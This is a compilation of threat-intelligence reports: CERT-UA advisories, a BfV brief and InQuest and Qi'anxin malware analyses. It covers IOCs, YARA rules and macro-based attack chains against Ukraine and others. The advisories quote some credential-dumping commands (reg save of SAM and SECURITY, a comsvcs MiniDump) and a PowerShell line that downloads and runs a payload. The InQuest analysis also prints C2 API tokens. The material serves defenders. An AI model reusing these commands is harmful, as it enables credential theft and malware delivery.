$thumb_dat_content232 = { D0 53 F0 E7 E7 AB 3D 73 D4 39 39 6B 4D E0 E7 73 }
$thumb_dat_content233 = { D1 54 F1 E8 E8 AC 3E 74 D5 3A 3A 6C 4E E1 E8 74 }
$thumb_dat_content234 = { D2 55 F2 E9 E9 AD 3F 75 D6 3B 3B 6D 4F E2 E9 75 }
$thumb_dat_content235 = { D3 56 F3 EA EA AE 40 76 D7 3C 3C 6E 50 E3 EA 76 }
$thumb_dat_content236 = { D4 57 F4 EB EB AF 41 77 D8 3D 3D 6F 51 E4 EB 77 }
$thumb_dat_content237 = { D5 58 F5 EC EC B0 42 78 D9 3E 3E 70 52 E5 EC 78 }
$thumb_dat_content238 = { D6 59 F6 ED ED B1 43 79 DA 3F 3F 71 53 E6 ED 79 }
$thumb_dat_content239 = { D7 5A F7 EE EE B2 44 7A DB 40 40 72 54 E7 EE 7A }
$thumb_dat_content240 = { D8 5B F8 EF EF B3 45 7B DC 41 41 73 55 E8 EF 7B }
$thumb_dat_content241 = { D9 5C F9 F0 F0 B4 46 7C DD 42 42 74 56 E9 F0 7C }
$thumb_dat_content242 = { DA 5D FA F1 F1 B5 47 7D DE 43 43 75 57 EA F1 7D }
$thumb_dat_content243 = { DB 5E FB F2 F2 B6 48 7E DF 44 44 76 58 EB F2 7E }
$thumb_dat_content244 = { DC 5F FC F3 F3 B7 49 7F E0 45 45 77 59 EC F3 7F }
$thumb_dat_content245 = { DD 60 FD F4 F4 B8 4A 80 E1 46 46 78 5A ED F4 80 }
$thumb_dat_content246 = { DE 61 FE F5 F5 B9 4B 81 E2 47 47 79 5B EE F5 81 }
$thumb_dat_content247 = { DF 62 00 F6 F6 BA 4C 82 E3 48 48 7A 5C EF F6 82 }
$thumb_dat_content248 = { E0 63 01 F7 F7 BB 4D 83 E4 49 49 7B 5D F0 F7 83 }
$thumb_dat_content249 = { E1 64 02 F8 F8 BC 4E 84 E5 4A 4A 7C 5E F1 F8 84 }
Bundesamt f
r Verfassungsschutz - Cyber-Brief Nr. 01/2022
TLP:WHITE
BfV Cyber-Brief
$thumb_dat_content250 = { E2 65 03 F9 F9 BD 4F 85 E6 4B 4B 7D 5F F2 F9 85 }
$thumb_dat_content251 = { E3 66 04 FA FA BE 50 86 E7 4C 4C 7E 60 F3 FA 86 }
$thumb_dat_content252 = { E4 67 05 FB FB BF 51 87 E8 4D 4D 7F 61 F4 FB 87 }
$thumb_dat_content253 = { E5 68 06 FC FC C0 52 88 E9 4E 4E 80 62 F5 FC 88 }
$thumb_dat_content254 = { E6 69 07 FD FD C1 53 89 EA 4F 4F 81 63 F6 FD 89 }
$thumb_dat_content255 = { E7 6A 08 FE FE C2 54 8A EB 50 50 82 64 F7 FE 8A }
condition:
any of them and filesize < 5MB
Bundesamt f
r Verfassungsschutz - Cyber-Brief Nr. 01/2022
CERT-UA
cert.gov.ua/article/38374
general information
The Governmental Computer Emergency Response Team of Ukraine CERT-UA received
information on the distribution of e-mails on the topic "Wage arrears" among government
agencies of Ukraine. Attached to the letter is the document "Wage arrears.xls", which
contains legitimate statistics and macros. At the same time, hex-coded data has been added
to the mentioned document as an attachment. The macro, after activation, will decode the
data, create the EXE-file "Base-Update.exe" on the computer and execute it.
This file is a downloader developed using the GoLang programming language. The program
will download and run another bootloader, which, in turn, will download and run malware
GraphSteel and GrimPlant on your computer.
The detected activity is associated with the activity of the group UAC-0056.
Indicators of compromise
Files:
da305627acf63792acb02afaf83d94d1
c1afb561cd5363ac5826ce7a72f0055b400b86bd7524da43474c94bc480d7eff Wage arrears.xls
06124da5b4d6ef31dbfd7a6094fc52a6
9e9fa8b3b0a59762b429853a36674608df1fa7d7f7140c8fccd7c1946070995a Base-Update.exe
(GoDownloader)
36ff9ec87c458d6d76b2afbd5120dfae
8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1 java-sdk.exe
(GoDownloader)
4a5de4784a6005aa8a19fb0889f1947a
99a2b79a4231806d4979aa017ff7e8b804d32bfe9dcc0958d403dfe06bdd0532 oracle-java.exe
(GrimPlant)
6b413beb61e46241481f556bb5cdb69c
c83d8b36402639ea3f1ad5d48edc1a22005923aee1c1826afabe27cb3989baa3 microsoftcortana.exe (GraphSteel) (2022-03-20)
Network:
hxxp: // 194 [.] 31.98.124: 443 / i
hxxp: // 194 [.] 31.98.124: 443 / p
hxxp: // 194 [.] 31.98.124: 443 / m
ws: // 194 [.] 31.98.124: 443 / c
194 [.] 31.98.124
Hosts:
% TMP% \ Base-Update.exe
% USERPROFILE% \. Java-sdk \ java-sdk.exe
% USERPROFILE% \. Java-sdk \ oracle-java.exe
% USERPROFILE% \. Java-sdk \ microsoft-cortana.exe
Graphic images
CERT-UA
cert.gov.ua/article/39518
general information
The Governmental Computer Emergency Response Team of Ukraine CERT-UA has taken
urgent measures to respond to an information security incident related to a targeted attack
on Ukraine's energy facility.
The idea of the attackers involved the decommissioning of several infrastructural elements of
the object of attack, namely:
high-voltage electrical substations - using the malicious program INDUSTROYER2;
moreover, each executable file contained a statically specified set of unique parameters
for the respective substations (file compilation date: 23.03.2022);
electronic computers (computers) running the Windows operating system (user
computers, servers, as well as automated workstations ACS TP) - using the malicious
program-destructor CADDYWIPER; in this case, the decryption and launch of the latter
involves the use of the ARGUEPATCH loader and the TAILJUMP silkcode;
server equipment running Linux operating systems - using malicious destructive scripts
ORCSHRED, SOLOSHRED, AWFULSHRED;
active network equipment.
Centralized distribution and launch of CADDYWIPER is implemented through the Group
Policy Mechanism (GPO). The POWERGAP PowerShell script was used to add a Group
Policy that downloads file destructor components from a domain controller and creates a
scheduled task on a computer.
The ability to move horizontally between segments of the local area network is provided by
creating chains of SSH tunnels. IMPACKET is used for remote execution of commands.
It is known that the victim organization suffered two waves of attacks. The initial
compromise took place no later than February 2022. The disconnection of electrical
substations and the decommissioning of the company's infrastructure was scheduled for
Friday evening, April 8, 2022. At the same time, the implementation of the malicious plan
has so far been prevented.
 TLP:AMBER, 
 Yara-
 Microsoft 
 ESET.
fbe32784c073e341fc57d175a913905c
43d07f28b7b699f43abd4f695596c15a90d772bfbd6029c8ee7bc5859c2b0861 sc.sh (OrcShred)
73561d9a331c1d8a334ec48dfd94db99
bcdf0bd8142a4828c61e775686c9892d89893ed0f5093bdc70bde3e48d04ab99 wobf.sh (AwfulShred)
97ad7f3ed815c0528b070941be903d07
87ca2b130a8ec91d0c9c0366b419a0fce3cb6a935523d900918e634564b88028 wsol.sh (SoloShred)
9ec8468dd4a81b0b35c499b31e67375e
cda9310715b7a12f47b7c134260d5ff9200c147fc1d05f030e507e57e3582327 {zrada.exe,
peremoga.exe, vatt.exe} (ArguePatch)
1938380a81a23b8b1100de8403b583a7
1724a0a3c9c73f4d8891f988b5035effce8d897ed42336a92e2c9bc7d9ee7f5a pa.pay (TailJump)
b63b9929b8f214c4e8dcff7956c87277
fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa caddywiper.bin
(CaddyWiper)
3229e8c4150b5e43f836643ec9428865
7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 108_100.exe (202203-23) (Industroyer2)
C:\Users\peremoga.exe JRIBDFIMCQAKVBBP C:\Users\pa1.pay
reg save HKLM\SYSTEM C:\Users\Public\sys.reg /y
reg save HKLM\SECURITY C:\Users\Public\sec.reg /y
reg save HKLM\SAM C:\Users\Public\sam.reg /y
\\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\zrada.exe
\\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\pa.pay
C: \ Windows \ System32 \ rundll32.exe C: \ windows \ System32 \ comsvcs.dll
MiniDump% PID% C: \ Users \ Public \ mem.dmp full
C: \ Windows \ Temp \ link.ps1
C: \ Users \ peremoga.exe
C: \ Users \ pa1.pay
C: \ Dell \ vatt.exe
C: \ Dell \ pa.pay
C: \ Dell \ 108_100.exe
C: \ tmp \ cdel.exe
Network:
91.245.255 [.] 243
195.230.23 [.] 19
Graphic images
CERT-UA
cert.gov.ua/article/39609
Updated 04/18/2022
General information:
The government team for responding to computer emergencies in Ukraine CERT-UA
revealed the fact of mass distribution among citizens of Ukraine XLS-documents called
"Mobilization Register.xls".
It was found that if you open the document and activate the macro, the macro will download
and run the executable file. The downloaded EXE file will decrypt and run the GzipLoader
malware on your computer, which in turn will download, decrypt and run the IcedID
malware. This malware (also known as BankBot) belongs to the class of "banking Trojans"
and, among other things, provides theft of authentication data.
The activity is targeted and is tracked by UAC-0098.
Compromise indicators:
Files:
bdfca142fc1408ab2028019775a95a8a
8f7e3471c1bb2b264d1b8f298e7b7648dac84ffd8fb2125f3b2566353128e127 Mobilization
Registry.xls
9f33887a8e76c246753e71b896a904b3
65b208943d8cf82af902c39400bdd7a26fdbc94c23f9d4494cf0a2ca51233213 Mobilization
Registry.xls
5b4deca6a14eb777fdd882a712006303
de7bcc556dde40d347b003d891f36c2a733131593ce2b9382f0bd9ade123d54a ggthvjhvjhb.xls
c52150ad226963a07cfc144d9cea73c7
ac1d19c5942946f9eee6bc748dee032b97eb3ec3e4bb64fead3e5ac101fb1bc8 spisok.exe (2022-0407)
afc2d797a39caf4765c0c24e1afb1967
2e721087daafbfe9b7d5618dfcdaf23e04344f4f72b2c59e175196bada1cc687 gziploader.exe
(2022-02-21)
e731e2f1a70b2dd13a4995f9c0106dc4
789992e24d118d7bd213593aa849449c624eb275e000bc406dab25035b99479b forest32.dat
986ce06308ca327e5c75877e5e15d6b8
89594dbae3956eb2bf599e85cd761e89c9d189944b0ddc18cc3973f0fd41c466 init_dll_64.dll
(2022-04-05)
e9ad8fae2dd8f9d12e709af20d9aefad
84f016ece77ddd7d611ffc0cbb2ce24184aeee3a2fdbb9d44d0837bc533ba238 license.dat
7e6a117ba018be2867329bc5a33e481d
6734ae02e66924b3f071e7d8ea97d2482a2a2a5bac27b251f20d320b0d04a324 module.bin
Network:
rivertimad [.] com
winuvinnosluk [.] club
successilin [.] top
reteredelete [.] top
naffalno [.] site
ritionalvalueon [.] top
oceriesfornot [.] top
arelyevennot [.] top
dogiraftig [.] com
fikasterwer [.] top
jevejosader [.] top
ertimadifa [.] com
rresteraftin [.] com
ndlestomak [.] top
168 [.] 100.8.42
188 [.] 166,154,118
134 [.] 209.144.87
hXXp: // 168 [.] 100.8.42 / micro [.] exe
hXXp: // 168 [.] 100.8.42 / list [.] exe
hXXp: // rivertimad [.] com /
hXXp: // 168 [.] 100.8.42 / list [.] exe
Hosts:
% APPDATA% \% rand% \% rand% .dll ", DllMain --iydu =" SustainDream \ license.dat "
% APPDATA% \ SustainDream \ license.dat
% APPDATA% \ runsx.exe
% TMP% \ forest32.dat
Graphic images:
CERT-UA
cert.gov.ua/article/39708
General information:
The government's team for responding to computer emergencies in Ukraine CERT-UA
revealed the fact of distribution of e-mails on the topic "Urgent! . If you open the document
and activate the macro, the macro will load, create and run the "pe.dll" file on disk. This will
damage your computer with Cobalt Strike Beacon malware.
With a high level of confidence we can note that the file "pe.dll", as well as the file
"spisok.exe" from message CERT-UA # 4464, is protected by a cryptocurrency related to the
group TrickBot.
This activity is targeted and will be tracked by UAC-0098.
Compromise indicators:
Files:
877f834e8788d05b625ba639b9318512
ea9dae45f81fe3527c62ad7b84b03d19629014b1a0e346b6aa933e52b0929d8a Military on
Azovstal.xls
e28ac0f94df75519a60ecc860475e6b3
9990fe0d8aac0b4a6040d5979afd822c2212d9aec2b90e5d10c0b15dee8d61b1 pe.dll (2022-04-15)
a3534cc24a76fa81ce38676027de9533
39a868e84524669491d6a251264144f0bfaca4f664d3fd10151854c341077262
shellcode.bin.packed.dll
eb18207d505a1de30af6c7baafd28e8e
ff30fdd64297ac41937f9a018753871fee0e888844fbcf7bf92bf5f8d6f57090 notevil.dll (CS
Beacon)
Network :
hxxp: // 138 [.] 68.229.0 / pe.dll
hxxps: // dezword [.] com / apiv8 / getStatus
hxxps: // dezword [.] com / apiv8 / updateConfig
84 [.] 32.188.29 (Provider: @cherryservers [.] Com)
138 [.] 68.229.0 (Provider: @hostkey [.] Com)
139 [.] 60,161,225
139 [.] 60,161.74
139 [.] 60.161.62
139 [.] 60.161.99
139 [.] 60.161.57
139 [.] 60,161.75
139 [.] 60.161.24
139 [.] 60.161.89
139 [.] 60,161,209
139 [.] 60,161.85
139 [.] 60,160.51
139 [.] 60,161,226
139 [.] 60,161,216
139 [.] 60,161,163
139 [.] 60,160.8
139 [.] 60.161.32
139 [.] 60,161.45
139 [.] 60.161.60
139 [.] 60,160.17
dezword [.] com (2022-03-22)
agreminj [.] com
akaluij [.] com
anidoz [.] com
apeduze [.] com
apocalypse [.] com
arentuk [.] com
axikok [.] com
azimurs [.] com
baidencult [.] com
billiopa [.] com
blinky [.] com
blopik [.] com
borizhog [.] com
britxec [.] com
drimzis [.] com
fluoxi [.] com
shikjil [.] com
shormanz [.] com
verofes [.] com
Hosts:
rundll32 C: \ Windows \ Tasks \ pe.dll, DllRegisterServer
C: \ Windows \ Tasks \ pe.dll
Recommendations:
1. Prohibit office programs (EXCEL.EXE, WINWORD.EXE, etc.) from creating dangerous
processes (for example, rundll32.exe, wscript.exe, etc.).
2. Carry out additional monitoring of the facts of establishing network connections by the
rundll32.exe process.
Graphic images:
CERT-UA
cert.gov.ua/article/18419
general information
The Governmental Computer Emergency Response Team of Ukraine CERT-UA received
information from the coordinating entity on the dissemination, allegedly on behalf of the
National Police of Ukraine, of e-mails with attachments in the form of password-protected
DOCX documents, such as 
Crime Report (Belous Alexei Sergeevich) .docx "or" Report of a
crime.docx ".
These documents contain built-in objects, the activation of which will create and run a
Javascript file on your computer, such as "GSU207@POLICE.GOV.UA - Message (2) .js". The
latter, using powershell, will connect to the Discord service and download and execute an
EXE file, which will damage the victim's computer with the malicious program OutSteel
(compilation date: 30.01.2022).
The activity is associated with the activities of the UAC-0056 group.
Indicators of compromise
Files:
4d01975268c215fc26ed79ebd17ec22d Report on the commission of a crime (Belous Alexei
Sergeevich) .docx
12ed130045b2e731bc66c9261c88efaa GSU207@POLICE.GOV.UA - Messages (2) .js
22c1d43016cb2b8b9e5e5e9895526354 Report of a crime .docx
0e3c3fe6167485807c4d36a904dfcae1 GSU207@POLICE.GOV.UA - Messages (17) .js
259f06fcdb971f606d239b3178110981 putty.exe
ccc3750d9270d1e8c95649d91f94033b putty.dmp.exe (OutSteel)
5fa2c64ed3e9944030b6fd9f3d3d7102 puttyjejfrwu.exe
57a10dad336f1a6cb206dca7ddd3fcaf AutoIt.exe (OutSteel)
ab2a92e0fc5a6f63336e442f34089f16 1406.exe (SaintBot)
af9a60ea728985f492119ebf713e0716 load4849kd30.exe (SaintBot)
247165c7d96bf443b6a7360a44b7dcfb f0d.exe
cd8915c63f3134425aa7c851f5f1e645 f1d.exe
Network:
hxxps: //cdn.discordapp [.] com / attachments / 932413459872747544/938291977735266344
/ putty.exe
hxxps: //cdn.discordapp [.] com / attachments / 932413459872747544/938317934026170408
/ puttyjejfrwu.exe
hxxp: //185.244.41 [.] 109: 8080 / upld /
hxxp: // eumr [.] site / load74h74830.exe
185.244.41 [.] 109
eumr [.] site
mariaparsons10811 @ gmail [.] com
Hosts:
% PUBLIC% \ GoogleChromeUpdate.exe
% USERPROFILE% \ Documents \ .exe
% TEMP% \ GSU207@POLICE.GOV.UA - Message (2) .js
% TEMP% \ rmm.bat
% TEMP% \ svjhost.exe
Processes:
1 powershell.exe "% USERPROFILE% \ Documents \ .exe"
11 powershell.exe "% USERPROFILE% \ Documents \ .exe"
3 powershell.exe> <address>: 443
22 powershell.exe cdn.discordapp [.] Com
1 wscript.exe powershell.exe "% SYSTEMROOT% \ System32 \ WindowsPowerShell \ v1.0 \
powershell.exe" [NeT.seRvIcepOiNtmanAgER] :: sECURITyPROToCOL =
[neT.SEcurITypRotOcoLType] :: Tls12; Irm -uRI ("hxxps: //cdn.discordapp [.] Com /
attachments / 932413459872747544/938291977735266344 / putty.exe") -outfilE "$ enV:
PuBLICGoogleChromeUpdate.exe"; sTArt-pRoceSs "$ eNV: pUBLIcGoogleChromeUpdate.exe"
1 WINWORD.EXE wscript.exe "% SYSTEMROOT% \ System32 \ WScript.exe" "% TEMP% \
GSU207@POLICE.GOV.UA - Messages (2) .js"
Additional Information
We recommend that you block access to services on the Internet that are not necessary and /
or may create additional risks (such as Discord).
We draw your attention to the correct configuration of security policies and security
measures for your computer, namely:
prohibit MS Office processes (in particular, WINWORD.EXE) from running potentially
dangerous programs, in this case - wscript.exe (Sysmon EventID: 1);
monitor network connections (Sysmon EventID: 3.22) of potentially dangerous
programs (powershell.exe, etc.)
Graphic images
Fig. 1 Example of an email and a malicious document
Nobelium - Israeli Embassy Maldoc
inquest.net/blog/2022/04/18/nobelium-israeli-embassy-maldoc
A few days ago, we discovered an interesting sample that we believe is part of the Nobelium campaign, also known as Dark
Halo. The document was uploaded to the VirusTotal service from Spain. It contains an attractive visual lure representing a
document from the Israeli embassy. We will look at the threat vector and provide some indicators of attack that can help
defenders identify or respond.
File Type
Office Open XML Document
Sha 256
7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b
Creation Time
2022-01-10 12:37:00 UTC
Figure 1: A visual lure that mimics a broken font.
The visual lure is designed so that the target would interpret that the font is not displayed and activate the embedded content.
Multiple scans of the file in the Virustotal service did not detect the ill intent. The original name of this file is
Ambassador_Absense.docx.
Figure 2: Abysmal detection history
Figure 3: Total evasion
When opening the document and activating content, the HTA script is launched, invoking a piece of JS. The script has the
functionality to decrypt the executable library and run it.
Figure 4: The JavaScript drops a DLL
The image above shows how the program decrypts the payload with a normal xor operation with a hardcoded key. The
executable library is created in the following directory.
C:\Users\user\AppData\Local\Temp\..\IconCacheService.dll
File Type
Dll X64
Sha 256
95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f
Creation Time
2022-01-17 09:33:38 UTC
Once launched, the malicious code collects data about the system on which it is launched. And sends the details to a remote
server.
Figure 5: Enumeration functions
After sending all the data, the server waits for a response and for receiving further payload to execute. The program uses
trello.com to exchange data. This is so done in order to complicate the attribution and belonging of the work to any threat
actor.
IOCs
Carrier Doc:
7ff9891f4cfe841233b1e0669c83de4938ce68ffae43afab51d0015c20515f7b
Stage 2 DLL:
2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5
95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f
8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca
5f01eb447cb63c40c2d923b15c5ecb5ba47ea72e600797d5d96e228f4cf13f13
hxxps://api.trello[.]com/1/members/me/boards?
key=664f145b65b9ea751df4dd21a96601f0&token=39daa5890c85fba874a352473b2fa9a97c7839223422411c22f22970f3b71ecc
hxxps://api.trello[.]com/1/members/me/boards?
key=326f330aab6aa067b808d5bd93bd077d&token=abe916f8fe7fa2ddfd3e1bd6edd52fbd80219ed0c289ae21234d496cf449488d
Detection:
rule APT_Nobelium_Beatdrop_Feb_2022_1 : nobelium beatdrop downloader
meta:
description = "Detect the Beatdrop malware used by Nobelium group"
author = "Arkbird_SOLG"
reference = "https://twitter.com/DmitriyMelikov/status/1512515753987223564"
date = "2022-04-10"
hash1 = "2f11ca3dcc1d9400e141d8f3ee9a7a0d18e21908e825990f5c22119214fbb2f5"
hash2 = "95bbd494cecc25a422fa35912ec2365f3200d5a18ea4bfad5566432eb0834f9f"
hash3 = "8bdd318996fb3a947d10042f85b6c6ed29547e1d6ebdc177d5d85fa26859e1ca"
tlp = "White"
adversary = "Nobelium"
strings:
$s1 = { 48 81 ec 58 04 00 00 31 db 48 8b 3d 3a ea 03 00 89 d8 49 89 ce 49 89 d5 48 8b 0d 1b da 02 00 4c 89
c6 4c 89 cd f3 aa 45 31 c9 c7 44 24 20 00 00 00 00 45 31 c0 ba 01 00 00 00 48 c7 05 0d ea 03 00 00 00 00 00 48 8d
0d 2e ea 02 00 ff 15 [2] 04 00 49 89 c4 48 85 c0 0f 84 6d 01 00 00 4c 89 ea 45 31 c9 41 b8 bb 01 00 00 48 89 c1 48
c7 44 24 38 01 00 00 00 c7 44 24 30 00 00 00 00 c7 44 24 28 03 00 00 00 48 c7 44 24 20 00 00 00 00 ff 15 [2] 04 00
49 89 c5 48 85 c0 0f 84 21 01 00 00 4c 89 f2 45 31 c9 49 89 f0 48 89 c1 48 c7 44 24 38 01 00 00 00 c7 44 24 30 00
00 c0 44 48 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 }
$s2 = { 48 8d 84 24 ?? 01 00 00 48 89 da b9 3d 00 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48
89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00
00 48 8d 84 24 ?? 01 00 00 48 89 84 24 ?? 01 00 00 48 8d 84 24 [2] 00 00 48 89 84 24 ?? 01 00 00 31 c0 f3 ab 4c 89
?? 48 8d 84 24 ?? 01 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00
00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00
00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ?? 01 00 00 00 00 00 00 c6 84 24 ?? 01 00 00 00 48 c7 84 24 ??
01 00 00 00 00 00 00 c6 84 24 [2] 00 00 00 48 c7 84 24 [2] 00 00 00 00 00 00 48 c7 84 24 [2] 00 00 00 00 00 00 c7
84 24 ?? 00 00 00 04 01 00 00 48 89 44 24 ?? ff 15 [2] 04 00 85 c0 0f 84 ?? 14 00 00 48 8b 4c 24 }
$s3 = { ff 15 [2] 04 00 85 c0 0f 84 82 00 00 00 48 8b 2d [2] 04 00 31 db 4c 8d 7c 24 4c 48 8d 7c 24 60 b9
fc 00 00 00 89 d8 4d 89 f9 f3 ab 48 8d 74 24 50 4c 89 f1 48 c7 44 24 50 00 00 00 00 48 c7 44 24 58 00 00 00 00 41
b8 ff 03 00 00 48 89 f2 ff d5 85 c0 74 3a 8b 4c 24 4c 85 c9 74 32 48 8b 05 cd e8 03 00 48 03 05 be e8 03 00 48 89
c7 f3 a4 48 8b 15 b2 e8 03 00 8b 44 24 4c 48 03 05 af e8 03 00 48 89 05 a8 e8 }
$s4 = { 48 8d 84 24 ?? 02 00 00 4c 89 ?? 48 89 c1 48 89 84 24 ?? 00 00 00 e8 [2] ff ff 48 8b 4c 24 ?? 4c 89
?? e8 ?? a1 02 00 48 8b 4c 24 ?? 48 8d 15 [2] 02 00 e8 ?? a1 02 00 8b 8c 24 ?? 00 00 00 4c 89 ?? 31 c0 f3 aa b9 02
02 00 00 48 8d 94 24 ?? 06 00 00 c7 84 24 ?? 00 00 00 04 01 00 00 ff 15 [2] 04 00 ba 04 01 00 00 4c 89 ?? ff 15 [2]
04 00 48 8b 8c 24 ?? 02 00 00 ff 15 [2] 04 00 48 8b 3d [2] 04 00 48 89 c6 31 db ?? 8d ?? 24 [2] 00 00 4c 8d a4 24
[2] 00 00 48 8b 46 18 48 8b 04 18 48 85 }
condition:
uint16(0) == 0x5A4D and all of ($s*)
Tags
APT threat-intel in-the-wild
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False flag or upgrade? Suspected sea lotus uses the
Glitch platform to reproduce the attack sample
mp.weixin.qq.com/s/1L7o1C-aGlMBAXzHqR9udA
Original Red Raindrop Team Qi Anxin Threat Intelligence Center 2022-01-20 02:01
Included in the topic #APT 52
Overview
The Qi'anxin Red Raindrop team continues to pay attention to the attack activities of global
APT organizations, including the OceanLotus APT organization. Recently, a foreign
manufacturer Netskope released an analysis report on mht format files (Web archive files)
implanted into malware by carrying Office macros [1] , because the attack methods used by
the samples mentioned are similar to those of OceanLotus. The report believes that the attack
was carried out by the Ocean Lotus organization.
After in-depth analysis of such samples by the researchers of the Red Raindrop team, it was
found that there are some characteristics in the attack process that are different from the
previous attacks of Ocean Lotus. Therefore, the possibility of other attack groups imitating
Ocean Lotus cannot be ruled out. Based on the existing public information, the specific
identity of the gang behind the attack cannot be determined for the time being. In addition,
we noticed that such samples use the Glitch platform to deliver subsequent malware, and
further found that they are in the same vein as the attack samples disclosed by Qi'anxin
Threat Intelligence Center in December last year [2] .
This article will deeply analyze the samples involved in this attack, sort out other associated
attacks, compare with the historical attack methods of OceanLotus, and summarize the
similarities and unique characteristics of the attacks. Such attack samples have the following
characteristics:
1. The macro code will release 32-bit or 64-bit malicious DLL according to the system
version, and a piece of random data will be inserted when releasing the malicious DLL;
2. Both the macro code and malicious DLL are obfuscated;
3. The malicious DLL transmits the collected information back to the C2 service hosted by
the Glitch platform, and then downloads the 7z-compressed subsequent malware and
executes it.
Sample information
1/20
The collected attack sample information is as follows
file type
file name
0ee738b3837bebb5ce93be890a196d3e
HS.rar
11d36c3b57d63ed9e2e91495dcda3655
Tai_lieu.rar
204cb61fce8fc4ac912dcb3bcef910ad
TL-3525.rar
a7a30d88c84ff7abe373fa41c9f52422
Note.rar
b1475bdbe04659e62f3c94bfb4571394
CV.rar
b2eb3785e26c5f064b7d0c58bdd3abe0
List Product.rar
d8fa458192539d848ee7bb171ebed6bd
GiftProducts.rar
e7ce1874ab781c7a14019b6a6e206749
PaymentRequest.rar
eb6cf9da476c821f4871905547e6a2b4
DeliveryInformation.rar
f5ea39b70f747e34ae024308298f70ac
Document.rar
f8d30c45ed9d3c71ec0f8176ddd7fd8f
Gift Products.rar
The names of the collected attack samples are basically in English, only Tai_lieu.rar is
Vietnamese, which means "file". The RAR file contains mht files that carry Office macros.
The sample execution flow is as follows.
2/20
Detailed analysis
Take the sample 11d36c3b57d63ed9e2e91495dcda3655 as an example for analysis.
file name
Tai_lieu.rar
11d36c3b57d63ed9e2e91495dcda3655
file type
RAR contains a mht format file Tailieu.doc with the same name as RAR, which will prompt
the victim to enable macros when opened.
3/20
Enabling the macro will open Document.doc with no specific content, just an error message
to confuse the victim.
After VBA is obfuscated, in addition to name obfuscation, it also uses Chr function to
concatenate key strings, and uses mixed operations of hexadecimal, octal and decimal to
obtain constant numbers.
4/20
After enabling the macro, first determine whether it is VBA7 and whether the system version
is 64-bit, and save the judgment result in the global variable hPY42J6w.
Create a directory "%ProgramData%\Microsoft Outlook Sync", and copy the original
guest.bmp file in the system to the new directory to save the malicious DLL that will be
released next.
5/20
Call the function kPW1Jdp7d4eP95n to release the doc file and dll file saved at the end of the
mht file. The file data spliced at the end of the mht file are 32-bit dll, 64-bit dll and doc files
in sequence. The file release sequence is from back to front, so the end of each file data will
be followed by a 4-byte data to mark the length of the file data, which can be used to locate
the starting position of the file data when releasing.
6/20
The hPY42J6w variable that previously saved the machine version judgment result
determines which files are released: if the variable is 1, the file release operation will be
performed when the variable v2yHmJl5EO064cV is 0 and 2, and the doc file and 32-bit dll
will be released at this time; otherwise, if hPY42J6w If it is 2, the doc file and 64-bit dll are
released.
The doc file and dll file data spliced at the end of the mht file are not encrypted or encoded,
but the way of saving and releasing the dll file data is special. Doc file data is stored in the file
in its complete form and extracted directly upon release.
Dll file data is saved in the following form: first two 4-byte data, and then the dll file removes
the remaining data of the first two bytes (ie 0x4D5A) as the magic number of the PE file.
Therefore, the length of the file data saved in mht will be 6 bytes larger than the original file
length. When the Dll file data is released, it first reads 2 placeholders from mht for
subsequent repair of the DOS header and removes the remaining original file data of
0x4D5A. Then insert a piece of random data into the read data for expansion processing. The
position and length of the inserted data are determined by the two 4-byte data mentioned
above. Finally, save the obtained data in the guest.bmp file in the
"%ProgramData%\Microsoft Outlook Sync" directory.
Then the macro code copies the guest.bmp that saves the data of the dll file to
background.dll, changes the first two bytes of the file to "MZ", thereby repairs the DOS
header, calls the OpenProfile function of background.dll, and deletes the guest.bmp file .
7/20
Finally set the opened mht file attribute to system hidden, then close the file.
Freed DLL
The functions of the 32-bit and 64-bit dll released by VBA macros are the same, because a
random data will be inserted when the dll file is released, so the hash value of the dll file is
not fixed.
file name
background.dll
fca9347b37c737930d0aaa976c3e234b (not fixed)
file type
Win32 DLLs
File size
23712256 bytes
The released dll file instructions are obfuscated, and there are two export functions, the
function names are OpenProfile and SaveProfile. The functions of the two functions are to
achieve persistence by setting scheduled tasks, and to inject subsequent payloads into remote
puppet process execution.
The DllMain function of Backgroud.dll stores the key strings and other parameters used by
the exported function in global variables.
8/20
The OpenProfile function is called by VBA, which sets up a scheduled task through a COM
object to run another exported function of the dll, SaveProfile.
SaveProfile injects the PE file embedded in the dll into the remote puppet process. The
command to create the remote process is "rundll32.exe kernel32.dll,Sleep".
9/20
The offset of the address pointed to by the instruction register in the remote thread register
context from the starting address of the memory where the injected data is stored is
0x44C20. After the PE injected into the memory is dumped, the only exported function is the
location in the disk file.
10/20
DLL injected into memory
file name
9fd6ae7e608b3b7421f55b73f94b4861
file type
Win32 DLLs
File size
717824 bytes
The released 32-bit dll and the 64-bit dll injected into the remote process are both 32-bit,
with the same file size and the same function.
The DLL is injected into memory as an unmapped file, and the only exported function of this
DLL is to load itself reflectively in memory. After allocating memory to load the dll itself, the
export function executes the DllMain function twice, and the second parameter of DllMain is
1 and 4, respectively. Malicious behavior in the Dll is only triggered when the parameter is 4.
11/20
Like background.dll, key strings and other configuration data are first saved in global
variables.
Create a subdirectory named "Microsoft Edge Download" in the "C:\ProgramData" directory
to collect host information, including the MAC address of the network card, user name, host
name, all current process names, and file and subdirectory names in the ProgramData
directory.
12/20
The collected information is encrypted and sent back to the C2 service hosted by the Glitch
